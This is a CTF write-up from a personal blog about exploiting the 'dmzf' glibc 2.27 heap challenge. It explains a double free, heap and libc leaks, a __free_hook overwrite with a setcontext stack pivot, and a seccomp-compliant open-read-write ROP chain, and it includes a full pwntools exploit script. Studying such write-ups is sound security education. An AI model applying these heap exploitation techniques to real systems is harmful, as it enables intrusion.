robertchen.cc twitter
The week before early admission deadline, perfect time to do a CTF and burn a weekend.
Libc version is 2.27, we get tcache without the security checks.
As usual, the first thing we do is run checksec
.
[+] checksec for '/home/robert/writeups/binexp/meta20/dmzf/dmzf'
Canary : ✓
NX : ✓
PIE : ✓
Fortify : ✘
RelRO : Full
Canary, NX, PIE, Full RelRO - it’s a typical heap exploit challenge. The exploit path will probably involve getting a libc leak, and then overwriting one of the hooks - __malloc_hook
or __free_hook
.
There’s also seccomp which makes exploitation a bit more tricky.
$ seccomp-tools dump ./dmzf
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0a 0xc000003e if (A != ARCH_X86_64) goto 0012
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x07 0xffffffff if (A != 0xffffffff) goto 0012
0005: 0x15 0x05 0x00 0x00000000 if (A == read) goto 0011
0006: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0011
0007: 0x15 0x03 0x00 0x00000002 if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x00000025 if (A == alarm) goto 0011
0009: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0011
0010: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
Luckily, the open-read-write syscalls are allowed. We’ll probably need to pivot with setcontext to get a ROP chain.
The key vulnerability was a double free. Luckily we were given source, making this a lot easier to reverse.
void del_rule(string &cmd) {
try {
int idx = stoi(string(cmd, 4));
if(idx < 0 || idx >= rules.size() || rules[idx] == nullptr) {
cout << "ERROR: Invalid ID!" << endl;
return;
}
delete rules[idx];
cout << "Rule " << idx << " deleted." << endl;
}
From here, this is a pretty standard 2.27 glibc heap challenge. The only difficult part is C++ heap messiness. For example, strings in c++ allocate an additional (variable?) size buffer. In order to get around this, you could free three chunks and then allocate another one which would put the string data buffer into the original string buffer. Then UAF to get a leak.
free(0) # arbitrary size, just bigger than string buffer
free(1)
free(2)
show(2)
p.recvuntil("2: ")
leak = u64(p.recv(8)) # get heap leak
print(hex(leak))
alloc((p64(leak + 0x950) + p64(0x20)).ljust(0x27, "B"))
show(1) # get libc leak
After getting a leak, a similar technique can be used to get an arbitrary write. From here, we have to deal with seccomp.
Overwriting setcontext+53
lets us use a powerful gadget, mov rsp,QWORD PTR [rdi+0xa0]
. Note that on some (later?) glibc versions this gadget isn’t as powerful ($rdi
is replaced with $rdx
), where we’ll have to use FSOP.
$rdi
is attacker controlled, being the argument to free if we overwrite free hook. Since it loads $rsp
from an attacker controlled value, and we control the later bytes as well, we are able to set whatever we want into [rdi+0xa0]
controlling $rsp
.
One small additional note, this gadget is a bit messy because it includes a push rcx
instruction.
0x7fc490da0145 <setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0]
0x7fc490da014c <setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
0x7fc490da0153 <setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
0x7fc490da0157 <setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
0x7fc490da015b <setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
0x7fc490da015f <setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
0x7fc490da0163 <setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
0x7fc490da0167 <setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
0x7fc490da016e <setcontext+94>: push rcx
0x7fc490da016f <setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
0x7fc490da0173 <setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
0x7fc490da017a <setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
0x7fc490da0181 <setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
0x7fc490da0185 <setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
0x7fc490da0189 <setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
0x7fc490da018d <setcontext+125>: xor eax,eax
0x7fc490da018f <setcontext+127>: ret
Luckily, $rcx
is loaded from $rdi+0xa8
which is also attacker controlled. We simply “ret to ret”, or more verbosely return to a “ret” gadget, and then we’re back on our fake stack.
Due to string destructor, we don’t even have to manually free the object. Allocating a string is enough to pwn after we overwrite __free_hook
.
alloc((
p64(lleak + libc.symbols["setcontext"] + 53)
+ "C" * 0x94 # "4" because of len("add ")
+ p64(leak + 0x562127af0fd0 - 0x562127af0370) # rsp
+ p64(prdi + 1) # prdi + 1 => ret
).ljust(0x300, "A"))
My full solve script can be found below, or as on GitHub.
from pwn import *
e = ELF("./dmzf")
libc = ELF("./libc.so.6")
context.binary = e.path
is_remote = "--remote" in sys.argv
def debug():
if not is_remote:
gdb.attach(p, "x/10gx &_Z5rulesB5cxx11")
if is_remote:
p = remote("host1.metaproblems.com", 5810)
else:
p = process(e.path, env={"LD_PRELOAD": libc.path + " ./libcstdc++.so ./libseccomp.so.2.4.3"})
def alloc(s):
p.sendlineafter("> ", "add " + s)
def free(idx):
p.sendlineafter("> ", "del " + str(idx))
def show(idx):
p.sendlineafter("> ", "view " + str(idx))
alloc("A" * 0x37)
alloc("A" * 0x37)
alloc("A" * 0x37)
alloc("A" * 0x410)
alloc("A" * 0x410)
free(3)
free(0)
free(1)
free(2)
show(2)
p.recvuntil("2: ")
leak = u64(p.recv(8))
print(hex(leak))
alloc((p64(leak + 0x950) + p64(0x20)).ljust(0x27, "B"))
show(1)
p.recvuntil("1: ")
lleak = u64(p.recv(8)) - 0x7f925eca0270 + 0x00007f925e8b4000
print(hex(lleak))
alloc("A" * 0x300)
alloc("A" * 0x300)
free(6)
free(7)
alloc((p64(leak + 0x000056306d4c7fd0 - 0x56306d4c7370) + p64(0x20)).ljust(0x27, "B"))
free(6)
alloc((
p64(lleak + libc.symbols["__free_hook"])
).ljust(0x300))
debug()
prdi = 0x000275e7 + lleak
prsi = 0x0016317c + lleak
prax = 0x00043b68 + lleak
prdx = 0x00001b9e + lleak
sys = 0x001402a7 + lleak
alloc((
(
p64(prax) + p64(2)
+ p64(prdi) + p64(leak + 0x562127af0fd0 - 0x562127af0370 + 0x200)
+ p64(prsi) + p64(0)
+ p64(prdx) + p64(0)
+ p64(sys)
+ p64(prax) + p64(0)
+ p64(prdi) + p64(3)
+ p64(prsi) + p64(leak)
+ p64(prdx) + p64(0x100)
+ p64(sys)
+ p64(prax) + p64(1)
+ p64(prdi) + p64(1)
+ p64(prsi) + p64(leak)
+ p64(prdx) + p64(0x100)
+ p64(sys)
+ p64(0x1336)
).ljust(0x200, "A")
+ "/dmzf/flag.txt\x00"
).ljust(0x300, "a"))
alloc((
p64(lleak + libc.symbols["setcontext"] + 53)
+ "C" * 0x94 + p64(leak + 0x562127af0fd0 - 0x562127af0370) + p64(prdi + 1)
).ljust(0x300, "A"))
p.interactive()